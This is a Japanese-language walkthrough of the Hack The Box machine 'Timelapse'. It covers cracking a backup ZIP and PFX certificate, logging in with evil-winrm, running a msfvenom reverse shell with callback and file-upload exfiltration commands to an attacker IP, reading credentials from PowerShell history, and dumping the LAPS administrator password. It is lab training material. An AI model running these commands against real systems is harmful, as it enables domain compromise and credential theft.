HTB: Timelapse Writeup

Hack The Box: Timelapseのwriteup。

初期侵入は自力で達成できたが、権限昇格に苦戦し、ヒントをもとに達成。
列挙の手順を飛ばしていなければ、自力で権限昇格できた可能性が高く、悔しさが残る結果となった。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-09 09:18 EDT
Nmap scan report for 10.129.227.113
Host is up (0.33s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-09 21:19:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-09T21:20:06
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.87 seconds

標的マシンはドメインコントローラーっぽい。

以下のSMBの共有フォルダを発見。

└─$ smbclient -L $RHOST
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.113 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Sharesフォルダが特に目を引いたので、内容物をダウンロードしてみた。接続に際し、認証は必要なかった。

└─$ smbclient //$RHOST/Shares -c 'prompt OFF; recurse ON; mget *'
Password for [WORKGROUP\kali]:
getting file \Dev\winrm_backup.zip of size 2611 as Dev/winrm_backup.zip (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as HelpDesk/LAPS.x64.msi (159.1 KiloBytes/sec) (average 134.0 KiloBytes/sec)
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as HelpDesk/LAPS_Datasheet.docx (63.2 KiloBytes/sec) (average 122.3 KiloBytes/sec)
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as HelpDesk/LAPS_OperationsGuide.docx (242.1 KiloBytes/sec) (average 147.4 KiloBytes/sec)
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as HelpDesk/LAPS_TechnicalSpecification.docx (49.7 KiloBytes/sec) (average 137.3 KiloBytes/sec)

以下はダウンロードした内容物の一覧。

└─$ tree Shares  
Shares
├── Dev
│   └── winrm_backup.zip
└── HelpDesk
    ├── LAPS_Datasheet.docx
    ├── LAPS_OperationsGuide.docx
    ├── LAPS_TechnicalSpecification.docx
    └── LAPS.x64.msi

3 directories, 5 files

winrm_backup.zipはパスワードつきのZIPファイルだった。legacyy_dev_auth.pfxというファイルが格納されている模様。

└─$ file winrm_backup.zip 
winrm_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                   
└─$ unzip -Z winrm_backup.zip         
Archive:  winrm_backup.zip
Zip file size: 2611 bytes, number of entries: 1
-rwxr-xr-x  3.0 unx     2555 BX defN 21-Oct-25 10:21 legacyy_dev_auth.pfx
1 file, 2555 bytes uncompressed, 2393 bytes compressed:  6.3%
                                                                                                                                                                                                                   
└─$ unzip winrm_backup.zip   
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
password incorrect--reenter:  

LAPS_Datasheet.docxLAPS_OperationsGuide.docxLAPS_TechnicalSpecification.docxの3つのファイルはLAPSのマニュアルで、LAPS.x64.msiはLAPSのインストーラーだった。

ひとまず、John The Ripperでwinrm_backup.zipのパスワードをクラック出来るか試してみた。

└─$ zip2john winrm_backup.zip > zip.hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8

└─$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2025-05-09 09:35) 2.380g/s 8270Kp/s 8270Kc/s 8270KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

あっさりクラック出来た。ZIPファイルのパスワードはsupremelegacyと判明。

入手したパスワードをもとにwinrm_backup.zipを解凍し、legacyy_dev_auth.pfxを取り出した。

└─$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx    
                                                                                                                                                                                                                   
└─$ file legacyy_dev_auth.pfx 
legacyy_dev_auth.pfx: data

legacyy_dev_auth.pfxをstringsにかけたところ、legacyyというユーザー名やtimelapse.htbというホスト名を確認できた。

└─$ strings -n 8 legacyy_dev_auth.pfx                            
Legacyy0
211025140552Z
311025141552Z0
Legacyy0
legacyy@timelapse.htb0

恐らくこのPFXファイルを活用して標的マシンに接続するのだろう。また、winrm_backup.zipというファイル名から察するに接続にはWinRMを用いるものと思われる。

ググったところ、PFXファイルをもとにevil-winrmでホストに接続するには、まずPFXファイルから証明書と秘密鍵を取り出す必要があるらしい。
それぞれ、以下のopensslコマンドで取り出せる。

# extract private key from pfx file
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key

# extract certificate from pfx file
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt

が、いざ取り出そうとしたらパスワードを聞かれた。

└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key
Enter Import Password:

再び、John The Ripperでlegacyy_dev_auth.pfxのパスワードをクラック出来るか試してみた。

pfx2john legacyy_dev_auth.pfx > pfx.hash

└─$ john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:01:03 DONE (2025-05-09 10:44) 0.01576g/s 50933p/s 50933c/s 50933C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードはthuglegacyと判明。

入手したパスワードをもとに証明書と秘密鍵を抽出。(PEMパスフレーズには任意の値を指定すれば良い)

└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
Enter Import Password:

抽出した秘密鍵をチェック。-----BEGIN ENCRYPTED PRIVATE KEY-----以前に余計なデータが入っていたので除去した。

└─$ cat private.key 
Bag Attributes
    Microsoft Local Key set: <No Values>
    localKeyID: 01 00 00 00 
    friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes
    X509v3 Key Usage: 90 
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFNTBfBgkqhkiG9w0BBQ0wUjAxBgkqhkiG9w0BBQwwJAQQdF3AwWRPiHS4M0+d
UC6j4wICCAAwDAYIKoZIhvcNAgkFADAdBglghkgBZQMEASoEEPWLyWN3JJR/clNE
yBPNBIAEggTQ7+KWSBhNkzrkRnp6ATqoX/6JZB0hkScZuKRCii/t0YaT8GkxeWoK
vGZrYfN+YjwEt4sTiljiSKHmvtKmclpYNzOTaay0WGey+2af0y78kfpSYqaLx1r5
PXWdlr51QFbdw6/l1II+dOlmscZItrhFkHDY/fUfcKFGDM4/HfsS91CZ1p7VueNk
xumfciVtGlotAM1dn59444nwCz8ke76aBSlHQENn0rPRCtKy4BkqfeQ465gL+Cr2
VixuQs7P1GxxAdqAosLr4n13YteknyjHU4Lcuaet3ZtlKN3Dx0qLi4tiVFyYE7Py
SfP71xBP8yBX7h4FekSuwE7ROG8id3byE2Gzn85clBzyp1i3IaY4HC6pCJtJSytS
FJyKHVqiFViGXM+q6zmP5PTIo40ZuRzJu/DSj2nmc43ybM5po8ZhYm2EBjn9nNhC
bjVUgdjA5rHgkLtvYjWXy3BrRd2pS4Ww+dOI5E3HHg5ji2ew6EPJEW2YIu0AlWda
C3YYRODg4cy3CEnO+ithSmY5VU827ObRuOct5arOsaB98SMG/ZVNu2adnkGTWmiC
JGnZYRlmkewGjuKzz2h904gtCHrH4/O06KEexM+3kFatqrbW1R1prAy0AmUU0VU5
LUmiIslJwtydWHGZQpXAMXQxlIm2n78F6iIH87DcA6zLZBgERgasepAIlNa/HjlW
HTzJma+7uFmCxUkPyt9ObL1l+MyUk5MwBqaswSxOw8XXaS/BSZwiywcqRGZpi2Z2
eCNeVUlm4CjXfqrs1CNmVddsCcxYfyEFLAbvyBtASYUINqENwRoD4B3/WzheVuc8
H7y5E1qxsb/YLOFlWrHmW2eDLyhrK8za27aW6v/tnb/Y3p315s7vjcAbjidcjxzc
m8ZXf46x4cMlC/ANuiiTrzboOr17u+9pQNT2LXaBqteV5nsBJ3YgPYNzOSqzy+eK
3eQdub9gHg1wZT4imcEfDHwAa+598gs8GqN6w6feESbSPxCZ7GaG+DrBGNa+kjk6
ACqOa08ztrnokfuFk03S6oLw1TxRy6OokCmxFfBeRRSU49jHGSX3CTvXna6t3O32
YHiygtX9O3C79LOF9D2K4jvflQCkm8fVnOOBb2K8GH1192da6uq3PpQ536YPgiLK
Ojx9civTOCqMWLTlQSB+zHBME7WBzIhfLjAFoxCLE6ICHjN2WMMoWiljCX2SGgrN
IWveBNd+BCIZlYDHlitYhI6Vt9XPZWSh5g304GgLy4YMOOvy3bGQsbTE5iQX3zeS
wr+ab96aASaeN+dnHk76j1ZDsAtMk1rkrnckQAlaj86BW3p0wTH4Gm7EONgOoHfX
kqz3ONRdDpR2GTqmgruAVjFHHyZEjQX/C4Of4kN4W40tjTrwmR3CSd5LsbWljmGC
Ef6+RZnLGCtFnuocNZNrL1XP/6xjiw4yk8OP7PZdB7YRHskpuBbM0sEJLH0ol1EE
/GoyKwR3D5Xp3AzhUHNdZpBe+j47lmJujBkIgjBwTeyMQozsieGyTErjjPLtPKod
ffyukoMFBk9LrVU5G/8TbhPjYPZ0C2yRg7efukZt1YvFpLX3JO9thk0DIt3CukeB
8aRG4Wnz0UQle64ARPwsSbg1TJTygTv06/hP4Q28X4Pirafv2QG/2Rg=
-----END ENCRYPTED PRIVATE KEY-----

続いて証明書のチェック。こちらも-----BEGIN CERTIFICATE-----以前に余計なデータが混入していたので除去した。

└─$ cat cert.crt   
Bag Attributes
    localKeyID: 01 00 00 00 
subject=CN=Legacyy
issuer=CN=Legacyy
-----BEGIN CERTIFICATE-----
MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
MRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1
MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og0
0E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAb
YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z
7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72
MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcs
yOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX
DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYe
rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqa
m966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F0
3KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/
fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG
hqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh
nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA
-----END CERTIFICATE-----

抽出した証明書と秘密鍵を用いて、標的マシンにWinRMで接続することが出来た。

└─$ evil-winrm -S -i $RHOST -u legacyy -p supremelegacy -c cert.crt -k private.key
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\Documents> hostname
dc01
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

上記の例ではパスワードを指定しているが、後で確認したら証明書と秘密鍵さえあれば、パスワードは不要だった。PEM pass phraseは秘密鍵を抽出した際に設定したパスフレーズを入力すればよい。

一般ユーザーのフラグC:\Users\legacyy\Desktop\user.txtを入手。

*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ../Desktop
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir


    Directory: C:\Users\legacyy\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         5/9/2025   2:18 PM             34 user.txt


*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
b7a500c0455340f5285a79<REDACTED>

evil-winrmで接続したのはいいものの、度々PEMのパスフレーズを入力しなければいけないのが煩わしいので、別途リバースシェルを仕込むことにした。

攻撃マシンにてリバースシェルを作成して、Python HTTPサーバーを起動し、Netcatで接続を待ち受け。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.174 LPORT=53 -f exe > shell64-nonstaged.exe
python3 -m http.server 80
rlwrap nc -nvlp 53

標的マシンにリバースシェルを仕込んで実行。

iwr -uri http://10.10.16.174/shell64-nonstaged.exe -Outfile shell64-nonstaged.exe
.\shell64-nonstaged.exe

リバースシェルのセッションが張られた。これでパスフレーズなしでコマンドを実行できる。

└─$ rlwrap nc -nvlp 53                    
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.227.113] 63498
Microsoft Windows [Version 10.0.17763.2686]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\legacyy>

さて、残るは権限昇格だが、ここで躓いてしまった。一通り標的マシンを列挙してみたが、権限昇格の突破口は見つからなかった。

先述したLAPSのマニュアル (LAPS_Datasheet.docxLAPS_OperationsGuide.docxLAPS_TechnicalSpecification.docx)も目を通してみたが、特に目ぼしい情報は見当たらなかった。

こちらを参考にしてLAPS関連の列挙もしてみたが、標的マシンにはCSEのみインストールされており、Fat client UIやPowerShellのモジュールはインストールされていなかったので、大した情報は得られなかった。

以下はLAPS関連の列挙の内容。

CSEがインストールされていることを確認。

C:\Users\legacyy>dir "%ProgramFiles%\LAPS"
dir "%ProgramFiles%\LAPS"
 Volume in drive C has no label.
 Volume Serial Number is 22CC-AE66

 Directory of C:\Program Files\LAPS

10/25/2021  09:01 AM    <DIR>          .
10/25/2021  09:01 AM    <DIR>          ..
10/25/2021  09:01 AM    <DIR>          CSE
               0 File(s)              0 bytes
               3 Dir(s)   5,481,971,712 bytes free

C:\Users\legacyy>dir "%ProgramFiles%\LAPS\CSE"
dir "%ProgramFiles%\LAPS\CSE"
 Volume in drive C has no label.
 Volume Serial Number is 22CC-AE66

 Directory of C:\Program Files\LAPS\CSE

10/25/2021  09:01 AM    <DIR>          .
10/25/2021  09:01 AM    <DIR>          ..
05/05/2021  07:04 AM           184,232 AdmPwd.dll
               1 File(s)        184,232 bytes
               2 Dir(s)   5,481,947,136 bytes free

%ProgramFiles%\LAPSフォルダにAdmPwd.UI.exeAdmPwd.Utils.configAdmPwd.Utils.dll等のファイルが無かったので、Fat client UIはインストールされていない模様。

%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\en-usのフォルダが無かったので、PowerShellのモジュールもインストールされていない模様。

C:\Users\legacyy>dir "%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS"
dir "%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS"
 Volume in drive C has no label.
 Volume Serial Number is 22CC-AE66

 Directory of C:\Windows\System32\WindowsPowerShell\v1.0\Modules

File Not Found

C:\Users\legacyy>dir "%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\en-us"
dir "%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\en-us"
The system cannot find the file specified.

HKLM\Software\Policies\Microsoft Services\AdmPwdより設定内容を確認。

c:\Users\legacyy>reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd"
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd
    PwdExpirationProtectionEnabled    REG_DWORD    0x1
    AdmPwdEnabled    REG_DWORD    0x1
    PasswordComplexity    REG_DWORD    0x4
    PasswordLength    REG_DWORD    0x18
    PasswordAgeDays    REG_DWORD    0x5

C:\Windows\SYSVOL\sysvol\timelapse.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINEよりRegistry.polをダウンロードして、GPRegistryPolicyParserでパース。

# exfil Registry.pol from target machine
cd "C:\Windows\SYSVOL\sysvol\timelapse.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE"
curl -X POST http://10.10.16.174/upload -F files=@Registry.pol
# on attacker machine
# install GPRegistryPolicyParser and parse Registry.pol
Install-Module -Name GPRegistryPolicyParser
Parse-PolFile "C:\users\analyst\desktop\Registry.pol"
PS C:\users\analyst> parse-polfile "C:\users\analyst\desktop\Registry.pol"


KeyName     : Software\Policies\Microsoft\SystemCertificates\EFS
ValueName   : EFSBlob
ValueType   : REG_BINARY
ValueLength : 974
ValueData   : {1, 0, 1, 0...}

KeyName     : Software\Policies\Microsoft\SystemCertificates\EFS\Certificates\28540BB22EA7003F413B92506AA9B806BD5BB15D
ValueName   : Blob
ValueType   : REG_BINARY
ValueLength : 1166
ValueData   : {2, 0, 0, 0...}

KeyName     : Software\Policies\Microsoft\SystemCertificates\EFS\CRLs
ValueName   :
ValueType   : REG_NONE
ValueLength : 0
ValueData   :

KeyName     : Software\Policies\Microsoft\SystemCertificates\EFS\CTLs
ValueName   :
ValueType   : REG_NONE
ValueLength : 0
ValueData   :

KeyName     : Software\Policies\Microsoft\WindowsFirewall
ValueName   : PolicyVersion
ValueType   : REG_DWORD
ValueLength : 4
ValueData   : 541

KeyName     : Software\Policies\Microsoft\WindowsFirewall\FirewallRules
ValueName   :
ValueType   : REG_NONE
ValueLength : 0
ValueData   :

AdmPwd.admxAdmPwd.admlを標的マシンよりダウンロードして調べてみたが、パスワードなどの情報は見つからなかった。

# exfil AdmPwd.admx
cd "%WINDIR%\PolicyDefinitions"
curl -X POST http://10.10.16.174/upload -F files=@AdmPwd.admx
# exfil AdmPwd.adml
cd "%WINDIR%\PolicyDefinitions\en-US"
curl -X POST http://10.10.16.174/upload -F files=@AdmPwd.adml

PowerViewのGet-DomainObjectコマンドでパスワードを読み取れるらしいが、legacyyユーザーには読み取り権が無い模様。

curl -i http://10.10.16.174/PowerView.ps1 -o PowerView.ps1
powershell -ep bypass

PS C:\Users\legacyy> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1
PS C:\Users\legacyy> Get-DomainObject -Identity dc01 -Properties ms-Mcs-AdmPwd
Get-DomainObject -Identity dc01 -Properties ms-Mcs-AdmPwd

ここらへんで行き詰ったので、ヒントを見てみた。以下、ヒント。

After authentication we discover a PowerShell history file containing login credentials for the svc_deploy user. User enumeration shows that svc_deploy is part of a group named LAPS_Readers

ヒントを見てがっくりしてしまった。いつもの列挙手順に従って、PowerShellのコマンド履歴は確認したつもりだった。が、手順をひとつ怠ったために重要な情報を見逃していたのである。

以下は最初の列挙の際にやったこと。

まずはGet-Historyで履歴の確認。

PS C:\Users\legacyy\Documents> Get-History

  Id CommandLine
  -- -----------
   1 Invoke-expression

次に(Get-PSReadlineOption).HistorySavePathでPowerShellの履歴の保存先を確認。

PS C:\Users\legacyy\Documents> (Get-PSReadlineOption).HistorySavePath
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt

C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txtが保存先らしいが、ファイルが見つからなかった。

PS C:\Users\legacyy\Documents> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
Cannot find path 'C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt' because it does not exist.
At line:1 char:1
+ type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PS ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\legacy...ost_history.txt:String) [Get-Content], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand

で、本来であれば、C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtの有無も確認するべきだったのだが、ServerRemoteHost_history.txtが見つからなかったのを受けて、これを怠ってしまった。

ヒントをもとに、C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtを確認したところ、ばっり重要情報が載っていた。

c:\Users\legacyy>type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

上記のPowerShellのコマンド履歴より、svc_deployというユーザー名とE3R$Q62^12p7PLlC%KWaxuaVというパスワードを確認できた。

以下はsvc_deployのユーザー情報。

c:\Users\legacyy>net user svc_deploy /domain
net user svc_deploy /domain
User name                    svc_deploy
Full Name                    svc_deploy
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users         
The command completed successfully.

svc_deployユーザーはLAPS_Readersグループに所属しているので、LAPSからパスワードを読み取ることができると思われる。

入手した認証情報をもとにsvc_deployユーザーとして標的マシンにWinRMで接続できた。

└─$ evil-winrm -S -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i $RHOST
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

で、改めてPowerViewのGet-DomainObjectコマンドを実行したところ、+xd5s5#m22v7])nl$$U/AE,aというパスワードを発見。

*Evil-WinRM* PS C:\users\svc_deploy> Get-DomainObject -Identity dc01 -Properties ms-Mcs-AdmPwd

ms-mcs-admpwd
-------------
+xd5s5#m22v7])nl$$U/AE,a

入手したパスワードをもとに、Administratorとして標的マシンにWinRMで接続できた。

└─$ evil-winrm -S -u Administrator -p '+xd5s5#m22v7])nl$$U/AE,a' -i $RHOST
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator

rootユーザーのフラグC:\Users\TRX\Desktop\root.txtを入手。

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ChildItem -Path C:\Users\ -Include *.ini,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.zip,*.xml -File -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Users\legacyy\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/13/2025   2:01 PM             34 user.txt


    Directory: C:\Users\TRX\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/13/2025   2:01 PM             34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\TRX\Desktop\root.txt
318b657513418ed07c16<REDACTED>

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.